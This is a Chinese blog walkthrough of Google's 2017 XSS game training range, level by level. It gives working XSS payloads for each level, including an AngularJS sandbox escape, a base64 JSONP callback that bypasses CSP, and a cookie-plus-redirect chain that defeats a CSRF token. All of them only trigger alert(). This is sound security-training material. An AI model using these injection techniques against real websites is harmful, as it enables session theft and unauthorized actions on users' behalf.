Google XSS game(2017)

Google XSS game(2017)

这是新版的谷歌XSS靶场,每一关的过关条件是能够弹出alert()即可。

地址:http://www.xssgame.com/

Level 1

image-20210309171755100

基础题,直接输入基本的反射型XSS语句:

<script>alert(//)</script>

Level 2

image-20210309172238727

和旧版的level 4一样,我们查看页面元素

image-20210309172452175

发现我么在输入框输入的值被传递到了startTimer()函数中,于是我们可以直接闭合掉前一个函数,另外加上alert(),并且把后面的内容注释掉即可:

');alert();//

这里网上还有另一种解法是,先查看源码:

function startTimer(seconds) {
        seconds = parseInt(seconds) || 3;
        setTimeout(function() {
          window.confirm("Time is up!");
          window.loading.style.display = 'none';
          window.message.innerHTML = '<a href="?">Go back</a> to the timer setup page';
        }, seconds * 1000);
      }

这里把我们输入的second做了一个parseInt(seconds)处理,当我们输入seconds=’-alert(1)-‘,浏览器先解释运行alert(1),然后再做了两个减法。

'-alert(1)-'

Level 3

image-20210309172751104

这里和旧版的 level 5 一样,没有我们输入参数的点

  • 查看源码
    function chooseTab(name) {
        var html = "Cat " + parseInt(name) + "<br>";
        html += "<img src='/static/img/cat" + name + ".jpg' />";

        document.getElementById('tabContent').innerHTML = html;

        // Select the current tab
        var tabs = document.querySelectorAll('.tab');
        for (var i = 0; i < tabs.length; i++) {
            if (tabs[i].id == "tab" + parseInt(name)) {
                tabs[i].className = "tab active";
            } else {
                tabs[i].className = "tab";
        }
    }
    function hashchange() {
        if (self.location.hash) {
            chooseTab(decodeURIComponent(self.location.hash.substr(1)));
            validate();
        } else {
            chooseTab(1);
        }
    }

    window.onload = hashchange;
    window.onhashchange = hashchange;

当我们刷新页面或者改变了#后面的内容时就会使用location.hash把URL中#和它后面的内容作为name,然后调用chooseTab函数,把name作为 img 标签中 src 的一部分进行构造,最后把 img 插入到当前页面中。

这里我们可以把 src 截断,这样他的图片肯定会报错,然后添加一个 onerror 事件执行alert(),最后还要把 img 标签后面的 >补齐

' onerror=alert()>

Level4

image-20210309194319372

这一关和旧版的level 5 基本一样,有3个页面,分别是welcome,注册和确定

查看源码

  • welcome.html
<!DOCTYPE html>
<html>
  <head>
    <link rel="stylesheet" href="/static/css/level_style.css" />
    <script src="/static/js/js_frame.js"></script>
  </head>
  <body style="background-color: white;">
    <center>
      Welcome! Today we are announcing the much anticipated<br>
      <img src="/static/img/googlereader.png" /><br>
      <a href="signup?next=confirm">Sign up</a> for an exclusive Beta.
    </center>
  </body>
</html>

这里可以看到,下面的a标签的链接带了一个next参数到signup页面

  • signup.html
<!DOCTYPE html>
<html>
  <head>
    <link rel="stylesheet" href="/static/css/level_style.css" />
    <script src="/static/js/js_frame.js"></script>
  </head>
  <body>
    <center>
      <img src="/static/img/googlereader-logo.png" /><br><br>
      <!-- We're ignoring the email, but the poor user will never know! -->
      Enter email: <input id="reader-email" name="email" value="">
      <br><br>
      <a href="confirm?next=welcome">Next >></a>
    </center>
  </body>
</html>

signup.html 页面下面的 a 标签的链接带了一个next参数到confirm页面

  • confirm.html
<!DOCTYPE html>
<html>
  <head>
    <script src="/static/js/js_frame.js"></script>
  </head>
  <body style="background-color: white;">
    <center>
      <img src="/static/img/googlereader-logo.png" /><br><br>
      Thanks for signing up, you will be redirected soon...
      <script>
        setTimeout(function() { window.location = 'welcome'; }, 1000);
      </script>

    </center>
  </body>
</html>

这个页面把我们在URL中next参数的值作为下一个跳转的地址解析出来,于是我们可以利用这个地方。实际上我们直接访问这个地址即可:

http://www.xssgame.com/f/__58a1wgqGgI/confirm?next=javascript:alert()

Level 5

image-20210309200545637
  • 查看源码
 <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.5.8/angular.min.js"></script>
    <script>
      angular.module('myApp', [])
      .controller('myController', ['$scope', function ($scope) {
        $scope.query = "";
        $scope.alert = window.alert;
      }]);

      var UTM_PARAMS = ["utm_content", "utm_medium", "utm_source",
          "utm_campaign", "utm_term"]

      if (location.search)    //location.search等于 '?utm_term={{alert()}}'
      {
        var params = location.search.substring(1).split('&');
          //去掉?,拆分&
        for (var p in params) {
          var r = params[p].split('='); 
            //拆分=,r等于utm_term,{{alert()}}
          if (r.length == 2 && UTM_PARAMS.indexOf(r[0]) != -1) {
            var el = document.getElementsByName(r[0]);
              //赋值utm_term的value为{{alert()}}
            if (el.length) el[0].value = decodeURIComponent(r[1]);
          }
        }
      }
    </script>

这一关终于不是旧版的题目了,angular JS 是一个前端框架,爆过模板注入漏洞。这里框架版本是1.5.8版本,这里可以找到这个框架的POC:https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs

location.search 是一个可读可写的字符串,可设置或返回当前 URL 的查询部分(问号 ? 之后的部分)

?utm_term={{alert()}}

这里明明是1.5.8的版本为什么能直接使用{{alert()}}就可以了呢,还没学模板注入搞不懂。

Level 6

image-20210309204550025

输入123查看输出点

 <p ng-non-bindable>Sorry, no results were found for <b>123</b>.</p>

ng-non-bindable 指令用于告诉 AngularJS 当前的 HTML 元素或其子元素不需要编译。因此这里无法被利用。

另外一个输出点是在form表单的action,我们在URL中输入参数?query=1会在action中显示出来。同时注意到这里使用的是1.2.0的angular框架。

image-20210309205640130

angular 1.2.0 的payload是

{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
image-20210309205853997

发现左边的大括号{被过滤了,这里使用到了 HTML实体编码(HTML Entity)

一个HTML Entity都含有2种转义格式:Entity Name 和 Entity Number

比如{ 的Entity Name是 &lcub; Entity Number是&#123;

把{ 替换为 &lcub;

&lcub;&lcub;a='constructor';b=&lcub;};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

Level 7

image-20210309210542726

CSP 的实质就是白名单制度,它明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。

这里设置了,只能访问两个网址:

image-20210310094306764

再看网络请求有一个jsonp?menu=about请求,返回的是callback

image-20210310094348990

JSONP 全称是 JSON with Padding ,是基于 JSON 格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用了 HTML 里 <script>元素标签,远程调用 JSON 文件来实现数据传递。

源码结尾引入了/static/js/level7.js,我们来看看js代码

/**
 * Ask server side what to display.
 */
//找到 URL 中 “menu=?” 的参数,并把?参数动态拼接成一个 <script> 标签,来访问资源。
//atob 对应的是 Base64 编码方式的解码操作,对应的,btoa就是编码
function main() {
    var m = location.search.match('menu=(.*)');
    var menu = m ? atob(m[1]) : 'about';
    document.write('<script src="jsonp?menu=' + encodeURIComponent(menu) + '"></script>');
}

/**
 * Display stuff returned from server side.
 * @param {string} data - JSON data from server side
 */
// 通过代码判断,data 应该是 json 格式。
// 取出其中的 title 和 pictures 对应的 value,拼接成 HTML 代码,插入到页面中,来访问资源
function callback(data) {
    if (data.title) document.write('<h1>' + data.title + '</h1>');
    if (data.pictures) data.pictures.forEach(function(url) {
        document.write('<img src="/static/img/' + url + '"><br><br>');
    });
}

main();

我们关注一下下面这行代码

document.write('<script src="jsonp?menu=' + encodeURIComponent(menu) + '"></script>'); 

因为 encodeURIComponent 的存在,我们截断 script 标签并加入 img 用 onerror 执行 alert 的方式行不通,写入的内容在转义后会被浏览器解析为一个不会被解析成 html 标签的字符串。

在早期 JSON 出现时候,大家都没有合格的编码习惯。再输出 JSON 时,没有严格定义好 Content-Type( Content-Type: application/json )然后加上 callback 这个输出点没有进行过滤直接导致了一个典型的 XSS 漏洞:
http://127.0.0.1/getUsers.php?callback=<script>alert(/xss/)</script>

我们来试着请求一下,发现123回显到了最前面

image-20210310100606514

所以我们可以构造

http://www.xssgame.com/f/wmOM2q5NJnZS/jsonp?callback=alert(1)%3B%2F%2F
//
image-20210310101624891
  • 过程

给 menu 传入经过 base64 编码后的:

<script src='jsonp?callback=alert();//'></script>

再前端会执行

document.write('<script src="jsonp?menu=' + <script src='jsonp?callback=alert();//'></script> + '"></script>')

把这个<script>标签显示在前端,然后前端访问这个标签里面的src,返回

callback({"title":"Error, no such menu: <script src='jsonp?callback=alert();//'></script>"})

返回的内容会执行

if (data.title) document.write('<h1>' + data.title + '</h1>');

将返回的内容中的title部分显示出来,里面的 <script> 标签触发一个请求,script 而请求的返回内容为:

alert();//'></script>({"title":"Welcome to my Website!","pictures":["const.png"]})

alert(); 后面被注释掉,执行 alert();

payload:

http://www.xssgame.com/f/wmOM2q5NJnZS/?menu=PHNjcmlwdCBzcmM9J2pzb25wP2NhbGxiYWNrPWFsZXJ0KCk7Ly8nPjwvc2NyaXB0Pg==

Level 8

image-20210310104440678
  • 查看代码
/**
 * Read cookie.
 * @param {string} name - Name of the cookie
 * @returns {string} Cookie value
 */
function readCookie(name) {
    var match = RegExp('(?:^|;)\\s*' + name + '=([^;]*)').exec(document.cookie);
    return match && match[1];
}

var username = readCookie('name');
if (username) {
    document.write('<h1>Welcome ' + username + '!</h1>');
}

document.addEventListener("DOMContentLoaded", function(event) {
    csrf_token.value = readCookie('csrf_token');
});

HTML页面的生命周期有以下三个重要事件:

  • DOMContentLoaded —— 浏览器已经完全加载了 HTML,DOM 树已经构建完毕,但是像是 <img> 和样式表等外部资源可能并没有下载完毕。
  • load —— 浏览器已经加载了所有的资源(图像,样式表等)。
  • beforeunload/unload —— 当用户离开页面的时候触发。

每个事件都有特定的用途

  • DOMContentLoaded —— DOM 加载完毕,所以 JS 可以访问所有 DOM 节点,初始化界面。
  • load —— 附加资源已经加载完毕,可以在此事件触发时获得图像的大小(如果没有被在 HTML/CSS 中指定)
  • beforeunload/unload —— 用户正在离开页面:可以询问用户是否保存了更改以及是否确定要离开页面。

尝试设置名字为123,点击Set ,有三个参数,name,value,和 redirect(跳转页面)

http://www.xssgame.com/f/d9u16LTxchEi/set?name=name&value=123&redirect=index

然后,查看cookie,显示 name=123,看来这是设置cookie的值,同时我们发现cookie有个csrf_token,同理我们应该可以这样设置csrf_token的内容

image-20210310110714849
set?name=csrf_token&value=token&redirect=index
image-20210310114011334

Wire transfer:

正常情况下:

http://www.xssgame.com/f/d9u16LTxchEi/transfer?name=13&amount=123&csrf_token=token
image-20210310114211813

当我们输入amount不是数字,会显示出amount的内容,我们的输出点就在amount了

image-20210310114301503

如果amount的值是payload,会成功弹窗,但是他会提示其他用户打开时候的token和我们的并不一样,因此需要更进一步。

image-20210310114736419

这时候我们回头整理一下,set 可以设置csrf_token,并且有个跳转参数,Wire transfer 可以执行xss攻击;那么我们就可以先在set 设置csrf_token,然后跳转到transfer执行xss攻击,这样不管是谁访问都会受到攻击。

set?name=csrf_token&value=token&redirect=transfer?name=god&amount=<script>alert()</script>&csrf_token=token

但我们要注意&符号,如果直接访问,redirect的值只有一部分:transfer?name=god

因此我们要URL编码一下:

set?name=csrf_token&value=token&redirect=transfer%3Fname%3Dgod%26amount%3D%3Cscript%3Ealert()%3C%2Fscript%3E%26csrf_token%3Dtoken

参考资料

Google最新XSS Game Writeup

Google xss挑战赛(2017) writeup

XSS Game

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇